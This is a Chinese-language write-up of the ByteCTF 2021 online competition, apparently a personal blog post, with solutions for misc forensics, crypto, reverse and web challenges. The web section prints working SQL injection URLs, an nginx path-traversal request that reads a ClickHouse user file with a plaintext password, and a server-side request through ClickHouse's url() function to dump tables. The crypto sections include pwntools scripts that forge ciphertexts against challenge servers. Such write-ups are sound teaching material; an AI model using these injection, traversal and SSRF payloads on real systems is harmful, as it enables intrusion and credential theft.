2021bytectf线上WP

2021字节bytectf线上WP

MISC

Checkin

关注公众号回复“安全范儿”得到flag

ByteCTF{Empower_Security_Enrich_Life}

Survey

ByteCTF{h0p3_y0u_Enjoy_our_ch4ll3n9es!}

HearingNotBelieving

老规矩AU打开音频,然后看频谱图。放大之后发现前面是一个二维码被分成了三块

需要手撸一下(21*21)

扫码得到第一部分

m4yB3_

然后后面部分是SSTV 慢扫描 挺刺耳。这里可以用MMSSTV和RXSSTV,我用的RXSSTV,然后去下载一个虚拟声卡Virtual Audio Cable。RXSSTV里面配置就选到虚拟声卡的line1,然后设置选BMP保存,不要时间水印

扫描出来拼好,本来想直接扫还是扫不起,于是还是手撸(25*25)得到后半flag

ByteCTF{m4yB3_U_kn0W_S57V}

frequently

流量包打开,看一下协议分级,挺多UDP

然后去看一下UDP,长度排序一下,发现75、84、91、100的挺多,而且84和100的明显三级域名是base,而75和91是i和o组成的,io正好可以对应成0和1.于是提取试试

使用tshark:.\tshark.exe -r .\frequently.pcap -T fields -e dns.qry.name -Y “dns and frame.len==75” > res.txt

其中把75改成84 91 100进而提取更多。提取出来之后使用notepad++的alt将后面整列删掉,然后使用替换将\r\n替换成为空,i为1,o为0,拿到cyberchef转换,其中长度75的转换出来是The first08然后乱码,但是长度91(response包)提取出来的就是第一段flag

然后去提取100的,其中还能发现流量包中会有重复的,如下图

于是在处理的时候要将这样的删掉,然后用notepad++的TextFX–Tools–base64 decode解码,在这之前要将编码换成UTF-8,tshark出来的是UCS-2 little Endian

于是得到这张图

检查之后发现没有隐写,说明后半段不在这里面,重新开始,将排序改成按协议排序,发现DHCP协议藏了后半段flag

DHCP的ACK,用IP Address Lease Time来隐写,字段名字dhcp.option.ip_address_lease_time

合起来得到的为

ByteCTF{^_^enJ0y&y0urse1f_wIth_m1sc^_^}

WEB

double sqli

报错后可以确认是 clickhouse 数据库,通过union all select可以做联合查询

通过 http://39.105.175.150:30001/?id=1 union all select * from ctf.hint 发现用户的权限不足,当前为 user_02 用户

这里有一个/files/test.jpg的文件,并且中间件为Nginx 。于是测试了一下是否存在路径穿越的漏洞:http://39.105.175.150:30001/files../

接着在/var/lib/clickhouse/access/文件夹下找到了一个可以读取的sql文件 3349ea06-b1c1-514f-e1e9-c8d6e8080f89.sql

获取另外一个用户的账号

ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb';
ATTACH GRANT SELECT ON ctf.* TO user_01;

通过官方文档查看学习可以使用url 函数建表查看内容

https://www.wolai.com/o8Zu5TtMyPBNPB58uejjRn#q9U4gFK57BFcZVDddCY38i

https://www.wolai.com/o8Zu5TtMyPBNPB58uejjRn#4HXtnhLABCqdfyDrRfnyoh

直接就是使用,这里url函数的内容要加一层urlencode编码

http://39.105.175.150:30001/?id=1 union all select * from url('http%3A%2F%2Flocalhost%3A8123%2F%3Fuser%3Duser_01%26password%3De3b0c44298fc1c149afb%26query%3Dselect%2Bname%2Bfrom%2Bsystem.tables'%2C%20CSV%2C%20'column1%20String')
获得表名 : flag

http://39.105.175.150:30001/?id=1 union all select * from url('http%3A%2F%2Flocalhost%3A8123%2F%3Fuser%3Duser_01%26password%3De3b0c44298fc1c149afb%26query%3Dselect%2Bname%2Bfrom%2Bsystem.columns'%2C%20CSV%2C%20'column1%20String')
获得列名 : flag

http://39.105.175.150:30001/?id=1 union all select * from url('http%3A%2F%2Flocalhost%3A8123%2F%3Fuser%3Duser_01%26password%3De3b0c44298fc1c149afb%26query%3Dselect%2Bflag%2Bfrom%2Bctf.flag'%2C%20CSV%2C%20'column1%20String')
获得flag : ByteCTF{e3b0c44298fc1c149afbf4c8}

Crypto

easyxor

首先根据已知flag格式ByteCTF{可以得到iv加密后的值,然后利用OFB模式,爆破key,然后就可以解出第一段。

对于CBC模式,现在已经知道key了,直接逆加密函数(z3直接一顿梭),分别梭出iv和iv异或明文分组的值,最后再解密即可。

def shift(m, k, c):
if k < 0:
return m ^ m >> (-k) & c
return m ^ m << k & c


def convert(m, key):
c_list = [0x37386180af9ae39e, 0xaf754e29895ee11a, 0x85e1a429a2b7030c, 0x964c5a89f6d3ae8c]
for t in range(4):
m = shift(m, key[t], c_list[t])
return m
from Crypto.Util.number import bytes_to_long, long_to_bytes
from random import randint, getrandbits

keys = [randint(-32, 32) for _ in range(4)]
iv=getrandbits(64)
print(iv)
for _ in range(4):
iv=convert(iv,keys)
print(iv)

s='89b8aca257ee2748f030e7f6599cbe0cbb5db25db6d3990d3b752eda9689e30fa2b03ee748e0da3c989da2bba657b912'
c1,c2=s[:len(s)//2],s[len(s)//2:]
c1=[int(c1[i:i+16],16) for i in range(0,len(c1),16)]
c2=[int(c2[i:i+16],16) for i in range(0,len(c2),16)]
m1=b'ByteCTF{'
m1=bytes_to_long(m1)
iv_1=m1^c1[0]
print(iv_1)
'''
import string
f=open(r'D:\\桌面\out.txt','w')
for a in range(-32,33):
for b in range(-32,33):
for c in range(-32,33):
for d in range(-32,33):
key=[a,b,c,d]
kk=convert(iv_1,key)
m=c1[1]^kk
flag=long_to_bytes(m)
try:
if all(c in string.printable for c in flag.decode()):
f.write(flag.decode()+str(key)+'\n')
except:
pass

'''
'''
key=[-12, 26, -3, -31]
f=b''
for i in c1:
f+=long_to_bytes(iv_1^i)
iv_1=convert(iv_1,key)
print(f)
'''

#ByteCTF{5831a241s-f30980

key=[-12, 26, -3, -31]

中间有个筛选过程:

f=open(r'D:\\桌面\out.txt','r')
ff=open(r'D:\\桌面\final.txt.','w')
xxx=['"','*','\'','@','~','&','~','$','\\','|','!','{','%','}','?','=','<',';','#','^','/','*'',','.','+',':','>','(',')',]
for i in f.readlines():

if all(x not in xxx for x in i):
ff.write(i+'\n')
ff.close()

得到key和前半段再解后半段CBC

from Crypto.Util.number import *
print(len(bin(bytes_to_long(b'f'*8))[2:]))
key=[-12, 26, -3, -31]
s='89b8aca257ee2748f030e7f6599cbe0cbb5db25db6d3990d3b752eda9689e30fa2b03ee748e0da3c989da2bba657b912'
c1,c2=s[:len(s)//2],s[len(s)//2:]
c1=[int(c1[i:i+16],16) for i in range(0,len(c1),16)]
c2=[int(c2[i:i+16],16) for i in range(0,len(c2),16)]
'''
from z3 import *
c_list = [0x37386180af9ae39e, 0xaf754e29895ee11a, 0x85e1a429a2b7030c, 0x964c5a89f6d3ae8c]

ivv=[14682254609762378035]+c2
for i in ivv:
s=Solver()
m=BitVec('m',100)
def shift(m, key, c_list):
for i in range(4):
if key[i]<0:
m=m ^ m >> (-key[i]) & c_list[i]
else:
m=m ^ m << key[i] & c_list[i]
return m
s.add(shift(m,key,c_list)==i)
if s.check()==sat:
print(s.model())
'''
iv=[16476971533267772345,c2[0],c2[1]]
dec=[10780708739817148043,738617756395427640,10936161096540945944]
f=b''
for i in range(3):
f+=long_to_bytes(dec[i]^iv[i])
print(f)

两段拼接:ByteCTF{5831a241s-f30980q535af-2156547475u2t}

justdecrypt

题目是要求伪造密文使之得到目标明文,AES的CFB模式,其实就类似于流密码的,所以可以依次构造,

但是明文只有49位,所以我是填充到64位,然后最后一位设为(64-49),然后就unpad掉了,但是有个bug第一位始终不对,这里不太懂,所以我是采用炼丹,还真给我试出来了。

import string
from binascii import *
from hashlib import *
from pwn import *

f=False
for _ in range(255):
p=remote('39.105.115.244',30001)
context.log_level='debug'

alphabet = string.ascii_letters + string.digits
def proof_of_work(end,sha):
for a in alphabet:
for b in alphabet:
for c in alphabet:
for d in alphabet:
s=a+b+c+d+end
if sha256(s.encode()).hexdigest()==sha:
return a+b+c+d

p.recvuntil('XXXX+')
end=p.recvuntil(') == ')[:-5].decode()
sha=p.recvuntil('\n')[:-1].decode()
xxxx=proof_of_work(end,sha)
p.recvuntil('Give me XXXX > ')
p.sendline(xxxx)

p.recvuntil('Please enter your cipher in hex > ')

m=480*'61'
p.sendline(m)
p.recvuntil('Your plaintext in hex: \n')
plain=unhexlify(p.recvuntil('\n')[:-1])

msg=b'\x00'+b'ello, I\'m a Bytedancer. Please give me the flag!'
pad=64-len(msg)

for i in range(len(msg)):

ivs=ord('a')^plain[i]
gg=hex(ivs^msg[i])[2:].zfill(2)
m=m[:i*2]+gg+m[2*i+2:]
p.recvuntil('Please enter your cipher in hex > ')
p.sendline(m)
p.recvuntil('Your plaintext in hex: \n')
plain=unhexlify(p.recvuntil('\n')[:-1])
print(plain)
if plain[0]==ord('H'):
f=True
else:
break

ivs=ord('a')^plain[63]
gg=hex(ivs^pad)[2:].zfill(2)
m=m[:126]+gg
p.recvuntil('Please enter your cipher in hex > ')
p.sendline(m)
p.recvuntil('Your plaintext in hex: \n')
plain=unhexlify(p.recvuntil('\n')[:-1])
print(plain)
if f:
p.recvall()
break

ByteCTF{8de1d3e1-5e74-4a73-b99e-7dc860183f96}

Overheard

可以获取高位联想到copper,可以传Alice,Alice^2来构造一个等式,设低位为x,y,二元copper直接出。

import itertools
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()

R = f.base_ring()
N = R.cardinality()

f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)

G = Sequence([], f.parent())
for i in range(m+1):
base = N^(m-i) * f^i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)

B, monomials = G.coefficient_matrix()
monomials = vector(monomials)

factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)

B = B.dense_matrix().LLL()

B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1/factor)

H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B*monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []

from pwn import *

p=remote('39.105.38.192',30000)
context.log_level='debug'

pp = 62606792596600834911820789765744078048692259104005438531455193685836606544743
p.recvuntil('$ ')
p.sendline('1')
Alice=p.recvuntil('\n')[:-1]

p.recvuntil('$ ')
p.sendline('3')
p.recvuntil('To Bob: ')
p.sendline(Alice)

x0=int(p.recvuntil('\n')[:-1])
p.recvuntil('$ ')
p.sendline('3')
p.recvuntil('To Bob: ')
p.sendline(str(pow(int(Alice),2,pp)))
y0=int(p.recvuntil('\n')[:-1])
print(x0,y0)

Fp=GF(pp)
P.<x, y> = PolynomialRing(Fp)
f=(x0+x)*(x0+x)-y0-y
root=small_roots(f, (2^64, 2^64), m=3)[0]
x1,y1=root
p.recvuntil('$ ')
p.sendline('4')
p.recvuntil('secret: ')
p.sendline(str(x0+x1))
p.recvall()
#ByteCTF{0fcca5ab-c7dc-4b9a-83f0-b24d4d004c19}

Reverse

0x6d21

调试发现密文是固定的。并且他用的一个奇怪的指令来矩阵运算加密我们的明文而已,直接爆破四个字节。脚本当时写的,有点丑。。这道题还没有前阵子TSGCTF那道第一题有意思。搞完这道题就去准备第二天的省赛了(

s=[0xD2C,0xA3D ,0x9D9,0xBF2,0xB1C,0x95C,0x412, 0xD1E,0xB72,0x93F,0x957, 0xBCC, 0x55F,0x559, 0x6Da,0x9E1]

#0123456789abcdef
print(hex((0x15*0x32+3*0x33+1*0x30+5*0x31)))
print(hex(0xd*0x32+2*0x33+1*0x30+8*0x31))
print(hex(0x8*0x32+1*0x33+2*0x30+0xd*0x31))
print(hex((0x5*0x32+1*0x33+3*0x30+0x15*0x31)))
# for a1 in range(0x20,0x7f):
# for a2 in range(0x20,0x7f):
# for a3 in range(0x20,0x7f):
# for a4 in range(0x20,0x7f):
# if 0x55f==(0x15*a1+3*a2+1*a3+5*a4) and 0x559==(0xd*a1+2*a2+1*a3+8*a4) and\
# 0x6da== (0x8*a1+1*a2+2*a3+0xd*a4) and 0x9e1==(0x5*a1+1*a2+3*a3+0x15*a4) :
# print(chr(a3)+chr(a4)+chr(a1)+chr(a2))

#matrix_0bf_mba!!
作者

n03tAck

发布于

2021-10-19

更新于

2021-10-19

许可协议


:D 一言句子获取中...